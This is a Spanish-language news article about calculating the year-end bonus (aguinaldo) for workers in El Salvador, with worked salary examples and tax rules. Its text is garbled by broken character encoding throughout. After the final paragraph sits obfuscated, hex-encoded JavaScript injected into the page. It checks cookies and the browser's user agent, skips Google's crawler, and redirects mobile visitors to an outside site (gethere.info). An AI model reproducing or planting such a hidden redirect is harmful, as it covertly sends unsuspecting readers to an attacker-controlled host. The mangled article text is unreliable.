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6 Nov 2017
Noticias | Por: Redacción

Si tenAi??s dudas de cA?mo calcular tu aguinaldo, aquAi?? te lo contamos

Desde el aAi??o pasado, los trabajadores de El Salvador gozan de mA?s remuneraciA?n en concepto de aguinaldo. En esta nota conocerA?s cuA?nto debAi??s recibir si ya tenAi??s mA?s de un aAi??o de laborar para una misma empresa.

Sin duda alguna, para los trabajadores el fin de aAi??o representa un gran alivio para su bolsillo, pues reciben mA?s de una prestaciA?n y beneficios adicionales a la ley, como regalAi??as, bonos y celebraciones. Sin embargo, tambiAi??n reciben un desembolso extra que estA? contemplado en el CA?digo de Trabajo, y que se le conoce como aguinaldo y se trata de una remuneraciA?n extra a su salario.

En El Salvador, el pago del aguinaldo se rige desde el artAi??culo 196 hasta el 202 de dicho cA?digo. SegA?n esta normativa, ai???todo patrono estA? obligado a dar a sus trabajadores en concepto de aguinaldo una prima por cada aAi??o de trabajo. EstarA?n obligados a dar el pago completo cuando el trabajador tuviere un aAi??o o mA?s de estar a su servicioai???. No obstante, el Ministerio de Trabajo y PrevisiA?n Social (MTPS) tambiAi??n establece que ai???si al 12 de diciembre el trabajador no tuviera un aAi??o de laborar con el mismo patrono, tiene derecho a recibir la parte proporcional al tiempo laborado que les habrAi??a correspondido si hubieren completado un aAi??o de servicios a la fecha indicadaai???.

Desde el aAi??o pasado, debido a reformas aprobadas por los diputados de la Asamblea Legislativa, el artAi??culo 198 del CA?digo de Trabajo establece que ai???la cantidad mAi??nima que deberA? pagarse al trabajador como prima en concepto de aguinaldo serA? equivalente al salario de 15 dAi??as para quien tuviere un aAi??o y menos de tres aAi??os de servicio. Para quien tuviere tres aAi??os o mA?s y menos de diez aAi??os de servicios, la prestaciA?n serA? equivalente al salario de 19 dAi??as. Para quien tuviere diez aAi??os o mA?s de servicios, una prestaciA?n equivalente al salario de 21 dAi??asai???. Asimismo, el artAi??culo 200 de la normativa establece que el aguinaldo deberA? pagarse en el lapso comprendido entre el 12 y el 20 de diciembre de cada aAi??o.

 

 

 

 

A?CA?mo calcular tu aguinaldo?

El siguiente ejercicio se realizarA? para calcular el aguinaldo de las tres prestaciones que estipula la ley acerca de 15, 19 y 21 dAi??as de salario, asAi?? como el aguinaldo proporcional si tenAi??s menos de un aAi??o de trabajar para una misma empresa.

Caso 1:

Si tenAi??s menos de un aAi??o de trabajar en una empresa, te corresponderA? recibir el aguinaldo proporcional. Este se calcula de la siguiente manera:

Si entraste a trabajar el 16 de marzo, deberA?s contar los dAi??as hasta el 12 de diciembre. Es decir, suman 271 dAi??as laborados. Luego de saber este dato, dividAi??s 15 entre 365 (una quincena de salario entre todos los dAi??as del aAi??o), que da como resultado 0.0411; luego dividAi??s tu salario mensual entre los 30 dAi??as, para conocer cuA?nto ganA?s en el dAi??a. Si tu sueldo es de 400 dA?lares, quiere decir que por dAi??a ganA?s 13.33 dA?lares; esto lo multiplicA?s por el 0.0411 y te resulta 0.547863, lo que deberA?s multiplicar por los dAi??as trabajados (271, que fue el primer cA?lculo de este ejercicio) y te darA? 148.47. Por tanto, este A?ltimo serA? tu pago en concepto de aguinaldo proporcional.

Caso 2:

Si sos un trabajador que recibe un salario base de 500 dA?lares y tenAi??s entre un aAi??o y menos de tres aAi??os, te corresponde como aguinaldo el sueldo de 15 dAi??as. Por lo tanto, tu retribuciA?n resulta de dividir los 500 dA?lares entre los 30 dAi??as del mes, lo que da un salario diario de 16.67. Esta cantidad la multiplicamos por los 15 dAi??as y da un aguinaldo de 250 dA?lares.

Caso 3:

Si recibAi??s el mismo salario base de 500 dA?lares y tenAi??s entre tres y menos de diez aAi??os de servicios, te corresponde como aguinaldo el sueldo de 19 dAi??as. Por lo tanto, tu retribuciA?n resulta de dividir los 500 dA?lares entre los 30 dAi??as del mes, lo que da un salario diario de 16.67. Esta cantidad la multiplicamos por los 19 dAi??as y da un aguinaldo de 316.67 dA?lares.

Caso 4:

Si tomamos siempre el salario base de 600 dA?lares y tenAi??s mA?s de diez aAi??os de servicio en la misma empresa, te corresponde como aguinaldo el sueldo de 21 dAi??as. Por lo tanto, tu retribuciA?n en concepto de aguinaldo serA? de 420 dA?lares (que resulta de dividir los 600 dA?lares entre los 30 dAi??as del mes, lo que da un salario diario de 20 dA?lares, los cuales deben ser multiplicados por los 21 dAi??as que entraron en vigencia desde el aAi??o pasado).

Pago de impuestos

En la sesiA?n plenaria del jueves 12 de noviembre, los diputados aprobaron, con 78 votos, la exoneraciA?n del impuesto sobre la renta a los aguinaldos que se entreguen este aAi??o y que no superen a los dos salarios mAi??nimos. Es decir, si en concepto de salario recibirA?s menos de 503.4, no te deberA?n descontarte el impuesto. Por el contrario, si recibAi??s mA?s de esa cantidad sAi?? tendrA?s que pagar la renta.

SegA?n el dictamen, la medida es tomada para ayudar a las familias que, por una u otra razA?n, han disminuido su capacidad adquisitiva a causa de la crisis econA?mica que afecta a la escala mundial. Los aguinaldos que sobrepasen el lAi??mite deberA?n declarar el monto.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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